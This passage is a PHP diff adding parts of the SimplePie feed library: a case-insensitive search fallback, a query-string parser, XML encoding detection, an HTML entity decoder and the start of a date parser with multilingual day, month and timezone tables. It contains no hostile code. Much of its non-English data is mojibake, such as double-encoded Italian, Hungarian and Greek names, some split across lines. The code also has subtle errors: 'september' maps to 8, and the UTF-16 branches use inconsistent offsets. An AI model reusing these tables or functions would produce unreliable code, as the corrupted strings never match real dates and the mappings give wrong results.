+		if (function_exists('stripos'))
+		{
+			return stripos($haystack, $needle, $offset);
+		}
+		else
+		{
+			if (is_string($needle))
+			{
+				$needle = strtolower($needle);
+			}
+			elseif (is_int($needle) || is_bool($needle) || is_double($needle))
+			{
+				$needle = strtolower(chr($needle));
+			}
+			else
+			{
+				trigger_error('needle is not a string or an integer', E_USER_WARNING);
+				return false;
+			}
+
+			return strpos(strtolower($haystack), $needle, $offset);
+		}
+	}
+
+	/**
+	 * Similar to parse_str()
+	 *
+	 * Returns an associative array of name/value pairs, where the value is an
+	 * array of values that have used the same name
+	 *
+	 * @static
+	 * @access string
+	 * @param string $str The input string.
+	 * @return array
+	 */
+	function parse_str($str)
+	{
+		$return = array();
+		$str = explode('&', $str);
+
+		foreach ($str as $section)
+		{
+			if (strpos($section, '=') !== false)
+			{
+				list($name, $value) = explode('=', $section, 2);
+				$return[urldecode($name)][] = urldecode($value);
+			}
+			else
+			{
+				$return[urldecode($section)][] = null;
+			}
+		}
+
+		return $return;
+	}
+
+	/**
+	 * Detect XML encoding, as per XML 1.0 Appendix F.1
+	 *
+	 * @todo Add support for EBCDIC
+	 * @param string $data XML data
+	 * @return array Possible encodings
+	 */
+	function xml_encoding($data)
+	{
+		// UTF-32 Big Endian BOM
+		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
+		{
+			$encoding[] = 'UTF-32BE';
+		}
+		// UTF-32 Little Endian BOM
+		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
+		{
+			$encoding[] = 'UTF-32LE';
+		}
+		// UTF-16 Big Endian BOM
+		elseif (substr($data, 0, 2) === "\xFE\xFF")
+		{
+			$encoding[] = 'UTF-16BE';
+		}
+		// UTF-16 Little Endian BOM
+		elseif (substr($data, 0, 2) === "\xFF\xFE")
+		{
+			$encoding[] = 'UTF-16LE';
+		}
+		// UTF-8 BOM
+		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
+		{
+			$encoding[] = 'UTF-8';
+		}
+		// UTF-32 Big Endian Without BOM
+		elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C")
+		{
+			if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E"))
+			{
+				$parser =& new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8'));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-32BE';
+		}
+		// UTF-32 Little Endian Without BOM
+		elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00")
+		{
+			if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00"))
+			{
+				$parser =& new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8'));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-32LE';
+		}
+		// UTF-16 Big Endian Without BOM
+		elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C")
+		{
+			if ($pos = strpos($data, "\x00\x3F\x00\x3E"))
+			{
+				$parser =& new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8'));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-16BE';
+		}
+		// UTF-16 Little Endian Without BOM
+		elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00")
+		{
+			if ($pos = strpos($data, "\x3F\x00\x3E\x00"))
+			{
+				$parser =& new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8'));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-16LE';
+		}
+		// US-ASCII (or superset)
+		elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C")
+		{
+			if ($pos = strpos($data, "\x3F\x3E"))
+			{
+				$parser =& new SimplePie_XML_Declaration_Parser(substr($data, 5, $pos - 5));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-8';
+		}
+		// Fallback to UTF-8
+		else
+		{
+			$encoding[] = 'UTF-8';
+		}
+		return $encoding;
+	}
+}
+
+/**
+ * Decode HTML Entities
+ *
+ * This implements HTML5 as of revision 967 (2007-06-28)
+ *
+ * @package SimplePie
+ */
+class SimplePie_Decode_HTML_Entities
+{
+	/**
+	 * Data to be parsed
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Currently consumed bytes
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $consumed = '';
+
+	/**
+	 * Position of the current byte being parsed
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $position = 0;
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	function SimplePie_Decode_HTML_Entities($data)
+	{
+		$this->data = $data;
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return string Output data
+	 */
+	function parse()
+	{
+		while (($this->position = strpos($this->data, '&', $this->position)) !== false)
+		{
+			$this->consume();
+			$this->entity();
+			$this->consumed = '';
+		}
+		return $this->data;
+	}
+
+	/**
+	 * Consume the next byte
+	 *
+	 * @access private
+	 * @return mixed The next byte, or false, if there is no more data
+	 */
+	function consume()
+	{
+		if (isset($this->data[$this->position]))
+		{
+			$this->consumed .= $this->data[$this->position];
+			return $this->data[$this->position++];
+		}
+		else
+		{
+			$this->consumed = false;
+			return false;
+		}
+	}
+
+	/**
+	 * Consume a range of characters
+	 *
+	 * @access private
+	 * @param string $chars Characters to consume
+	 * @return mixed A series of characters that match the range, or false
+	 */
+	function consume_range($chars)
+	{
+		if ($len = strspn($this->data, $chars, $this->position))
+		{
+			$data = substr($this->data, $this->position, $len);
+			$this->consumed .= $data;
+			$this->position += $len;
+			return $data;
+		}
+		else
+		{
+			$this->consumed = false;
+			return false;
+		}
+	}
+
+	/**
+	 * Unconsume one byte
+	 *
+	 * @access private
+	 */
+	function unconsume()
+	{
+		$this->consumed = substr($this->consumed, 0, -1);
+		$this->position--;
+	}
+
+	/**
+	 * Decode an entity
+	 *
+	 * @access private
+	 */
+	function entity()
+	{
+		switch ($this->consume())
+		{
+			case "\x09":
+			case "\x0A":
+			case "\x0B":
+			case "\x0B":
+			case "\x0C":
+			case "\x20":
+			case "\x3C":
+			case "\x26":
+			case false:
+				break;
+
+			case "\x23":
+				switch ($this->consume())
+				{
+					case "\x78":
+					case "\x58":
+						$range = '0123456789ABCDEFabcdef';
+						$hex = true;
+						break;
+
+					default:
+						$range = '0123456789';
+						$hex = false;
+						$this->unconsume();
+						break;
+				}
+
+				if ($codepoint = $this->consume_range($range))
+				{
+					static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8");
+
+					if ($hex)
+					{
+						$codepoint = hexdec($codepoint);
+					}
+					else
+					{
+						$codepoint = intval($codepoint);
+					}
+
+					if (isset($windows_1252_specials[$codepoint]))
+					{
+						$replacement = $windows_1252_specials[$codepoint];
+					}
+					else
+					{
+						$replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
+					}
+
+					if ($this->consume() != ';')
+					{
+						$this->unconsume();
+					}
+
+					$consumed_length = strlen($this->consumed);
+					$this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
+					$this->position += strlen($replacement) - $consumed_length;
+				}
+				break;
+
+			default:
+				static $entities = array('Aacute' => "\xC3\x81", 'aacute' => "\xC3\xA1", 'Aacute;' => "\xC3\x81", 'aacute;' => "\xC3\xA1", 'Acirc' => "\xC3\x82", 'acirc' => "\xC3\xA2", 'Acirc;' => "\xC3\x82", 'acirc;' => "\xC3\xA2", 'acute' => "\xC2\xB4", 'acute;' => "\xC2\xB4", 'AElig' => "\xC3\x86", 'aelig' => "\xC3\xA6", 'AElig;' => "\xC3\x86", 'aelig;' => "\xC3\xA6", 'Agrave' => "\xC3\x80", 'agrave' => "\xC3\xA0", 'Agrave;' => "\xC3\x80", 'agrave;' => "\xC3\xA0", 'alefsym;' => "\xE2\x84\xB5", 'Alpha;' => "\xCE\x91", 'alpha;' => "\xCE\xB1", 'AMP' => "\x26", 'amp' => "\x26", 'AMP;' => "\x26", 'amp;' => "\x26", 'and;' => "\xE2\x88\xA7", 'ang;' => "\xE2\x88\xA0", 'apos;' => "\x27", 'Aring' => "\xC3\x85", 'aring' => "\xC3\xA5", 'Aring;' => "\xC3\x85", 'aring;' => "\xC3\xA5", 'asymp;' => "\xE2\x89\x88", 'Atilde' => "\xC3\x83", 'atilde' => "\xC3\xA3", 'Atilde;' => "\xC3\x83", 'atilde;' => "\xC3\xA3", 'Auml' => "\xC3\x84", 'auml' => "\xC3\xA4", 'Auml;' => "\xC3\x84", 'auml;' => "\xC3\xA4", 'bdquo;' => "\xE2\x80\x9E", 'Beta;' => "\xCE\x92", 'beta;' => "\xCE\xB2", 'brvbar' => "\xC2\xA6", 'brvbar;' => "\xC2\xA6", 'bull;' => "\xE2\x80\xA2", 'cap;' => "\xE2\x88\xA9", 'Ccedil' => "\xC3\x87", 'ccedil' => "\xC3\xA7", 'Ccedil;' => "\xC3\x87", 'ccedil;' => "\xC3\xA7", 'cedil' => "\xC2\xB8", 'cedil;' => "\xC2\xB8", 'cent' => "\xC2\xA2", 'cent;' => "\xC2\xA2", 'Chi;' => "\xCE\xA7", 'chi;' => "\xCF\x87", 'circ;' => "\xCB\x86", 'clubs;' => "\xE2\x99\xA3", 'cong;' => "\xE2\x89\x85", 'COPY' => "\xC2\xA9", 'copy' => "\xC2\xA9", 'COPY;' => "\xC2\xA9", 'copy;' => "\xC2\xA9", 'crarr;' => "\xE2\x86\xB5", 'cup;' => "\xE2\x88\xAA", 'curren' => "\xC2\xA4", 'curren;' => "\xC2\xA4", 'Dagger;' => "\xE2\x80\xA1", 'dagger;' => "\xE2\x80\xA0", 'dArr;' => "\xE2\x87\x93", 'darr;' => "\xE2\x86\x93", 'deg' => "\xC2\xB0", 'deg;' => "\xC2\xB0", 'Delta;' => "\xCE\x94", 'delta;' => "\xCE\xB4", 'diams;' => "\xE2\x99\xA6", 'divide' => "\xC3\xB7", 'divide;' => "\xC3\xB7", 'Eacute' => "\xC3\x89", 'eacute' => "\xC3\xA9", 'Eacute;' => "\xC3\x89", 'eacute;' => "\xC3\xA9", 'Ecirc' => "\xC3\x8A", 'ecirc' => "\xC3\xAA", 'Ecirc;' => "\xC3\x8A", 'ecirc;' => "\xC3\xAA", 'Egrave' => "\xC3\x88", 'egrave' => "\xC3\xA8", 'Egrave;' => "\xC3\x88", 'egrave;' => "\xC3\xA8", 'empty;' => "\xE2\x88\x85", 'emsp;' => "\xE2\x80\x83", 'ensp;' => "\xE2\x80\x82", 'Epsilon;' => "\xCE\x95", 'epsilon;' => "\xCE\xB5", 'equiv;' => "\xE2\x89\xA1", 'Eta;' => "\xCE\x97", 'eta;' => "\xCE\xB7", 'ETH' => "\xC3\x90", 'eth' => "\xC3\xB0", 'ETH;' => "\xC3\x90", 'eth;' => "\xC3\xB0", 'Euml' => "\xC3\x8B", 'euml' => "\xC3\xAB", 'Euml;' => "\xC3\x8B", 'euml;' => "\xC3\xAB", 'euro;' => "\xE2\x82\xAC", 'exist;' => "\xE2\x88\x83", 'fnof;' => "\xC6\x92", 'forall;' => "\xE2\x88\x80", 'frac12' => "\xC2\xBD", 'frac12;' => "\xC2\xBD", 'frac14' => "\xC2\xBC", 'frac14;' => "\xC2\xBC", 'frac34' => "\xC2\xBE", 'frac34;' => "\xC2\xBE", 'frasl;' => "\xE2\x81\x84", 'Gamma;' => "\xCE\x93", 'gamma;' => "\xCE\xB3", 'ge;' => "\xE2\x89\xA5", 'GT' => "\x3E", 'gt' => "\x3E", 'GT;' => "\x3E", 'gt;' => "\x3E", 'hArr;' => "\xE2\x87\x94", 'harr;' => "\xE2\x86\x94", 'hearts;' => "\xE2\x99\xA5", 'hellip;' => "\xE2\x80\xA6", 'Iacute' => "\xC3\x8D", 'iacute' => "\xC3\xAD", 'Iacute;' => "\xC3\x8D", 'iacute;' => "\xC3\xAD", 'Icirc' => "\xC3\x8E", 'icirc' => "\xC3\xAE", 'Icirc;' => "\xC3\x8E", 'icirc;' => "\xC3\xAE", 'iexcl' => "\xC2\xA1", 'iexcl;' => "\xC2\xA1", 'Igrave' => "\xC3\x8C", 'igrave' => "\xC3\xAC", 'Igrave;' => "\xC3\x8C", 'igrave;' => "\xC3\xAC", 'image;' => "\xE2\x84\x91", 'infin;' => "\xE2\x88\x9E", 'int;' => "\xE2\x88\xAB", 'Iota;' => "\xCE\x99", 'iota;' => "\xCE\xB9", 'iquest' => "\xC2\xBF", 'iquest;' => "\xC2\xBF", 'isin;' => "\xE2\x88\x88", 'Iuml' => "\xC3\x8F", 'iuml' => "\xC3\xAF", 'Iuml;' => "\xC3\x8F", 'iuml;' => "\xC3\xAF", 'Kappa;' => "\xCE\x9A", 'kappa;' => "\xCE\xBA", 'Lambda;' => "\xCE\x9B", 'lambda;' => "\xCE\xBB", 'lang;' => "\xE3\x80\x88", 'laquo' => "\xC2\xAB", 'laquo;' => "\xC2\xAB", 'lArr;' => "\xE2\x87\x90", 'larr;' => "\xE2\x86\x90", 'lceil;' => "\xE2\x8C\x88", 'ldquo;' => "\xE2\x80\x9C", 'le;' => "\xE2\x89\xA4", 'lfloor;' => "\xE2\x8C\x8A", 'lowast;' => "\xE2\x88\x97", 'loz;' => "\xE2\x97\x8A", 'lrm;' => "\xE2\x80\x8E", 'lsaquo;' => "\xE2\x80\xB9", 'lsquo;' => "\xE2\x80\x98", 'LT' => "\x3C", 'lt' => "\x3C", 'LT;' => "\x3C", 'lt;' => "\x3C", 'macr' => "\xC2\xAF", 'macr;' => "\xC2\xAF", 'mdash;' => "\xE2\x80\x94", 'micro' => "\xC2\xB5", 'micro;' => "\xC2\xB5", 'middot' => "\xC2\xB7", 'middot;' => "\xC2\xB7", 'minus;' => "\xE2\x88\x92", 'Mu;' => "\xCE\x9C", 'mu;' => "\xCE\xBC", 'nabla;' => "\xE2\x88\x87", 'nbsp' => "\xC2\xA0", 'nbsp;' => "\xC2\xA0", 'ndash;' => "\xE2\x80\x93", 'ne;' => "\xE2\x89\xA0", 'ni;' => "\xE2\x88\x8B", 'not' => "\xC2\xAC", 'not;' => "\xC2\xAC", 'notin;' => "\xE2\x88\x89", 'nsub;' => "\xE2\x8A\x84", 'Ntilde' => "\xC3\x91", 'ntilde' => "\xC3\xB1", 'Ntilde;' => "\xC3\x91", 'ntilde;' => "\xC3\xB1", 'Nu;' => "\xCE\x9D", 'nu;' => "\xCE\xBD", 'Oacute' => "\xC3\x93", 'oacute' => "\xC3\xB3", 'Oacute;' => "\xC3\x93", 'oacute;' => "\xC3\xB3", 'Ocirc' => "\xC3\x94", 'ocirc' => "\xC3\xB4", 'Ocirc;' => "\xC3\x94", 'ocirc;' => "\xC3\xB4", 'OElig;' => "\xC5\x92", 'oelig;' => "\xC5\x93", 'Ograve' => "\xC3\x92", 'ograve' => "\xC3\xB2", 'Ograve;' => "\xC3\x92", 'ograve;' => "\xC3\xB2", 'oline;' => "\xE2\x80\xBE", 'Omega;' => "\xCE\xA9", 'omega;' => "\xCF\x89", 'Omicron;' => "\xCE\x9F", 'omicron;' => "\xCE\xBF", 'oplus;' => "\xE2\x8A\x95", 'or;' => "\xE2\x88\xA8", 'ordf' => "\xC2\xAA", 'ordf;' => "\xC2\xAA", 'ordm' => "\xC2\xBA", 'ordm;' => "\xC2\xBA", 'Oslash' => "\xC3\x98", 'oslash' => "\xC3\xB8", 'Oslash;' => "\xC3\x98", 'oslash;' => "\xC3\xB8", 'Otilde' => "\xC3\x95", 'otilde' => "\xC3\xB5", 'Otilde;' => "\xC3\x95", 'otilde;' => "\xC3\xB5", 'otimes;' => "\xE2\x8A\x97", 'Ouml' => "\xC3\x96", 'ouml' => "\xC3\xB6", 'Ouml;' => "\xC3\x96", 'ouml;' => "\xC3\xB6", 'para' => "\xC2\xB6", 'para;' => "\xC2\xB6", 'part;' => "\xE2\x88\x82", 'permil;' => "\xE2\x80\xB0", 'perp;' => "\xE2\x8A\xA5", 'Phi;' => "\xCE\xA6", 'phi;' => "\xCF\x86", 'Pi;' => "\xCE\xA0", 'pi;' => "\xCF\x80", 'piv;' => "\xCF\x96", 'plusmn' => "\xC2\xB1", 'plusmn;' => "\xC2\xB1", 'pound' => "\xC2\xA3", 'pound;' => "\xC2\xA3", 'Prime;' => "\xE2\x80\xB3", 'prime;' => "\xE2\x80\xB2", 'prod;' => "\xE2\x88\x8F", 'prop;' => "\xE2\x88\x9D", 'Psi;' => "\xCE\xA8", 'psi;' => "\xCF\x88", 'QUOT' => "\x22", 'quot' => "\x22", 'QUOT;' => "\x22", 'quot;' => "\x22", 'radic;' => "\xE2\x88\x9A", 'rang;' => "\xE3\x80\x89", 'raquo' => "\xC2\xBB", 'raquo;' => "\xC2\xBB", 'rArr;' => "\xE2\x87\x92", 'rarr;' => "\xE2\x86\x92", 'rceil;' => "\xE2\x8C\x89", 'rdquo;' => "\xE2\x80\x9D", 'real;' => "\xE2\x84\x9C", 'REG' => "\xC2\xAE", 'reg' => "\xC2\xAE", 'REG;' => "\xC2\xAE", 'reg;' => "\xC2\xAE", 'rfloor;' => "\xE2\x8C\x8B", 'Rho;' => "\xCE\xA1", 'rho;' => "\xCF\x81", 'rlm;' => "\xE2\x80\x8F", 'rsaquo;' => "\xE2\x80\xBA", 'rsquo;' => "\xE2\x80\x99", 'sbquo;' => "\xE2\x80\x9A", 'Scaron;' => "\xC5\xA0", 'scaron;' => "\xC5\xA1", 'sdot;' => "\xE2\x8B\x85", 'sect' => "\xC2\xA7", 'sect;' => "\xC2\xA7", 'shy' => "\xC2\xAD", 'shy;' => "\xC2\xAD", 'Sigma;' => "\xCE\xA3", 'sigma;' => "\xCF\x83", 'sigmaf;' => "\xCF\x82", 'sim;' => "\xE2\x88\xBC", 'spades;' => "\xE2\x99\xA0", 'sub;' => "\xE2\x8A\x82", 'sube;' => "\xE2\x8A\x86", 'sum;' => "\xE2\x88\x91", 'sup;' => "\xE2\x8A\x83", 'sup1' => "\xC2\xB9", 'sup1;' => "\xC2\xB9", 'sup2' => "\xC2\xB2", 'sup2;' => "\xC2\xB2", 'sup3' => "\xC2\xB3", 'sup3;' => "\xC2\xB3", 'supe;' => "\xE2\x8A\x87", 'szlig' => "\xC3\x9F", 'szlig;' => "\xC3\x9F", 'Tau;' => "\xCE\xA4", 'tau;' => "\xCF\x84", 'there4;' => "\xE2\x88\xB4", 'Theta;' => "\xCE\x98", 'theta;' => "\xCE\xB8", 'thetasym;' => "\xCF\x91", 'thinsp;' => "\xE2\x80\x89", 'THORN' => "\xC3\x9E", 'thorn' => "\xC3\xBE", 'THORN;' => "\xC3\x9E", 'thorn;' => "\xC3\xBE", 'tilde;' => "\xCB\x9C", 'times' => "\xC3\x97", 'times;' => "\xC3\x97", 'TRADE;' => "\xE2\x84\xA2", 'trade;' => "\xE2\x84\xA2", 'Uacute' => "\xC3\x9A", 'uacute' => "\xC3\xBA", 'Uacute;' => "\xC3\x9A", 'uacute;' => "\xC3\xBA", 'uArr;' => "\xE2\x87\x91", 'uarr;' => "\xE2\x86\x91", 'Ucirc' => "\xC3\x9B", 'ucirc' => "\xC3\xBB", 'Ucirc;' => "\xC3\x9B", 'ucirc;' => "\xC3\xBB", 'Ugrave' => "\xC3\x99", 'ugrave' => "\xC3\xB9", 'Ugrave;' => "\xC3\x99", 'ugrave;' => "\xC3\xB9", 'uml' => "\xC2\xA8", 'uml;' => "\xC2\xA8", 'upsih;' => "\xCF\x92", 'Upsilon;' => "\xCE\xA5", 'upsilon;' => "\xCF\x85", 'Uuml' => "\xC3\x9C", 'uuml' => "\xC3\xBC", 'Uuml;' => "\xC3\x9C", 'uuml;' => "\xC3\xBC", 'weierp;' => "\xE2\x84\x98", 'Xi;' => "\xCE\x9E", 'xi;' => "\xCE\xBE", 'Yacute' => "\xC3\x9D", 'yacute' => "\xC3\xBD", 'Yacute;' => "\xC3\x9D", 'yacute;' => "\xC3\xBD", 'yen' => "\xC2\xA5", 'yen;' => "\xC2\xA5", 'yuml' => "\xC3\xBF", 'Yuml;' => "\xC5\xB8", 'yuml;' => "\xC3\xBF", 'Zeta;' => "\xCE\x96", 'zeta;' => "\xCE\xB6", 'zwj;' => "\xE2\x80\x8D", 'zwnj;' => "\xE2\x80\x8C");
+
+				for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++)
+				{
+					$consumed = substr($this->consumed, 1);
+					if (isset($entities[$consumed]))
+					{
+						$match = $consumed;
+					}
+				}
+
+				if ($match !== null)
+				{
+ 					$this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
+					$this->position += strlen($entities[$match]) - strlen($consumed) - 1;
+				}
+				break;
+		}
+	}
+}
+
+/**
+ * Date Parser
+ *
+ * @package SimplePie
+ */
+class SimplePie_Parse_Date
+{
+	/**
+	 * Input data
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $date;
+
+	/**
+	 * List of days, calendar day name => ordinal day number in the week
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $day = array(
+		// English
+		'mon' => 1,
+		'monday' => 1,
+		'tue' => 2,
+		'tuesday' => 2,
+		'wed' => 3,
+		'wednesday' => 3,
+		'thu' => 4,
+		'thursday' => 4,
+		'fri' => 5,
+		'friday' => 5,
+		'sat' => 6,
+		'saturday' => 6,
+		'sun' => 7,
+		'sunday' => 7,
+		// Dutch
+		'maandag' => 1,
+		'dinsdag' => 2,
+		'woensdag' => 3,
+		'donderdag' => 4,
+		'vrijdag' => 5,
+		'zaterdag' => 6,
+		'zondag' => 7,
+		// French
+		'lundi' => 1,
+		'mardi' => 2,
+		'mercredi' => 3,
+		'jeudi' => 4,
+		'vendredi' => 5,
+		'samedi' => 6,
+		'dimanche' => 7,
+		// German
+		'montag' => 1,
+		'dienstag' => 2,
+		'mittwoch' => 3,
+		'donnerstag' => 4,
+		'freitag' => 5,
+		'samstag' => 6,
+		'sonnabend' => 6,
+		'sonntag' => 7,
+		// Italian
+		'lunedÃ¬' => 1,
+		'martedÃ¬' => 2,
+		'mercoledÃ¬' => 3,
+		'giovedÃ¬' => 4,
+		'venerdÃ¬' => 5,
+		'sabato' => 6,
+		'domenica' => 7,
+		// Spanish
+		'lunes' => 1,
+		'martes' => 2,
+		'miÃ©rcoles' => 3,
+		'jueves' => 4,
+		'viernes' => 5,
+		'sÃ¡bado' => 6,
+		'domingo' => 7,
+		// Finnish
+		'maanantai' => 1,
+		'tiistai' => 2,
+		'keskiviikko' => 3,
+		'torstai' => 4,
+		'perjantai' => 5,
+		'lauantai' => 6,
+		'sunnuntai' => 7,
+		// Hungarian
+		'hÃ©tfÅ' => 1,
+		'kedd' => 2,
+		'szerda' => 3,
+		'csÃŒtÃ¶rtok' => 4,
+		'pÃ©ntek' => 5,
+		'szombat' => 6,
+		'vasÃ¡rnap' => 7,
+		// Greek
+		'ÎÎµÏ
+' => 1,
+		'Î€ÏÎ¹' => 2,
+		'Î€ÎµÏ' => 3,
+		'Î ÎµÎŒ' => 4,
+		'Î Î±Ï' => 5,
+		'Î£Î±Î²' => 6,
+		'ÎÏ
+Ï' => 7,
+	);
+
+	/**
+	 * List of months, calendar month name => calendar month number
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $month = array(
+		// English
+		'jan' => 1,
+		'january' => 1,
+		'feb' => 2,
+		'february' => 2,
+		'mar' => 3,
+		'march' => 3,
+		'apr' => 4,
+		'april' => 4,
+		'may' => 5,
+		// No long form of May
+		'jun' => 6,
+		'june' => 6,
+		'jul' => 7,
+		'july' => 7,
+		'aug' => 8,
+		'august' => 8,
+		'sep' => 9,
+		'september' => 8,
+		'oct' => 10,
+		'october' => 10,
+		'nov' => 11,
+		'november' => 11,
+		'dec' => 12,
+		'december' => 12,
+		// Dutch
+		'januari' => 1,
+		'februari' => 2,
+		'maart' => 3,
+		'april' => 4,
+		'mei' => 5,
+		'juni' => 6,
+		'juli' => 7,
+		'augustus' => 8,
+		'september' => 9,
+		'oktober' => 10,
+		'november' => 11,
+		'december' => 12,
+		// French
+		'janvier' => 1,
+		'fÃ©vrier' => 2,
+		'mars' => 3,
+		'avril' => 4,
+		'mai' => 5,
+		'juin' => 6,
+		'juillet' => 7,
+		'aoÃ»t' => 8,
+		'septembre' => 9,
+		'octobre' => 10,
+		'novembre' => 11,
+		'dÃ©cembre' => 12,
+		// German
+		'januar' => 1,
+		'februar' => 2,
+		'mÃ€rz' => 3,
+		'april' => 4,
+		'mai' => 5,
+		'juni' => 6,
+		'juli' => 7,
+		'august' => 8,
+		'september' => 9,
+		'oktober' => 10,
+		'november' => 11,
+		'dezember' => 12,
+		// Italian
+		'gennaio' => 1,
+		'febbraio' => 2,
+		'marzo' => 3,
+		'aprile' => 4,
+		'maggio' => 5,
+		'giugno' => 6,
+		'luglio' => 7,
+		'agosto' => 8,
+		'settembre' => 9,
+		'ottobre' => 10,
+		'novembre' => 11,
+		'dicembre' => 12,
+		// Spanish
+		'enero' => 1,
+		'febrero' => 2,
+		'marzo' => 3,
+		'abril' => 4,
+		'mayo' => 5,
+		'junio' => 6,
+		'julio' => 7,
+		'agosto' => 8,
+		'septiembre' => 9,
+		'setiembre' => 9,
+		'octubre' => 10,
+		'noviembre' => 11,
+		'diciembre' => 12,
+		// Finnish
+		'tammikuu' => 1,
+		'helmikuu' => 2,
+		'maaliskuu' => 3,
+		'huhtikuu' => 4,
+		'toukokuu' => 5,
+		'kesÃ€kuu' => 6,
+		'heinÃ€kuu' => 7,
+		'elokuu' => 8,
+		'suuskuu' => 9,
+		'lokakuu' => 10,
+		'marras' => 11,
+		'joulukuu' => 12,
+		// Hungarian
+		'januÃ¡r' => 1,
+		'februÃ¡r' => 2,
+		'mÃ¡rcius' => 3,
+		'Ã¡prilis' => 4,
+		'mÃ¡jus' => 5,
+		'jÃºnius' => 6,
+		'jÃºlius' => 7,
+		'augusztus' => 8,
+		'szeptember' => 9,
+		'oktÃ³ber' => 10,
+		'november' => 11,
+		'december' => 12,
+		// Greek
+		'ÎÎ±Îœ' => 1,
+		'ÎŠÎµÎ²' => 2,
+		'ÎÎ¬Ï' => 3,
+		'ÎÎ±Ï' => 3,
+		'ÎÏÏ' => 4,
+		'ÎÎ¬Î¹' => 5,
+		'ÎÎ±Ï' => 5,
+		'ÎÎ±Î¹' => 5,
+		'ÎÎ¿ÏÎœ' => 6,
+		'ÎÎ¿Îœ' => 6,
+		'ÎÎ¿ÏÎ»' => 7,
+		'ÎÎ¿Î»' => 7,
+		'ÎÏÎ³' => 8,
+		'ÎÏ
+Î³' => 8,
+		'Î£ÎµÏ' => 9,
+		'ÎÎºÏ' => 10,
+		'ÎÎ¿Î­' => 11,
+		'ÎÎµÎº' => 12,
+	);
+
+	/**
+	 * List of timezones, abbreviation => offset from UTC
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $timezone = array(
+		'ACDT' => 37800,
+		'ACIT' => 28800,
+		'ACST' => 34200,
+		'ACT' => -18000,
+		'ACWDT' => 35100,
+		'ACWST' => 31500,
+		'AEDT' => 39600,
+		'AEST' => 36000,
+		'AFT' => 16200,
+		'AKDT' => -28800,
+		'AKST' => -32400,
+		'AMDT' => 18000,
+		'AMT' => -14400,
+		'ANAST' => 46800,
+		'ANAT' => 43200,
+		'ART' => -10800,
+		'AZOST' => -3600,
+		'AZST' => 18000,
+		'AZT' => 14400,
+		'BIOT' => 21600,
+		'BIT' => -43200,
+		'BOT' => -14400,
+		'BRST' => -7200,
+		'BRT' => -10800,
+		'BST' => 3600,
+		'BTT' => 21600,
+		'CAST' => 18000,
+		'CAT' => 7200,
+		'CCT' => 23400,
+		'CDT' => -18000,
+		'CEDT' => 7200,
+		'CET' => 3600,
+		'CGST' => -7200,
+		'CGT' => -10800,
+		'CHADT' => 49500,
+		'CHAST' => 45900,
+		'CIST' => -28800,
+		'CKT' => -36000,
+		'CLDT' => -10800,
+		'CLST' => -14400,
